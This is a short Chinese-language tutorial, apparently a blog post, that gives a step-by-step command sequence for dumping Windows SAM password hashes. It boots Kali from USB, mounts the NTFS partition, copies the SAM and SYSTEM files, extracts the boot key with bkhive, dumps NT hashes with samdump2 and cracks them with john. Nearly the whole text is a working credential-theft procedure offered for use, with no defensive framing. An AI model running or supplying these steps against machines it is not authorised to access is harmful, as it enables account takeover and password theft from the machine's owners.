dump Windows SAM密码

由于Windows的SAM密码保护机制，SAM文件在Windows启动后就被保护，所以不能开机后破解。

引用

1. 使用usb启动kali

引用

2. fdisk -l

   查看磁盘分区。在我电脑测试时为一个/dev/sda5，文件格式为HPFS/NTFS/exFAT

引用

3. mount -t ntfs /dev/sda5 /mnt

引用

4. cd /mnt

引用

5. find . -name "*SAM*"

   找到存放SAM和SYSTEM文件的文件夹

引用

6. 将SAM和SYSTEM拷贝到工作目录下

引用

7. bkhive SYSTEM bootkey

   来查看系统boot key，此时工作目录下多出一个bootkey的文件

引用

8. samdump2 SAM bootkey > hash.txt

   使用samdump2命令dump出hash值

引用

9. john ./hash.txt --show --format=nt

   来破解密码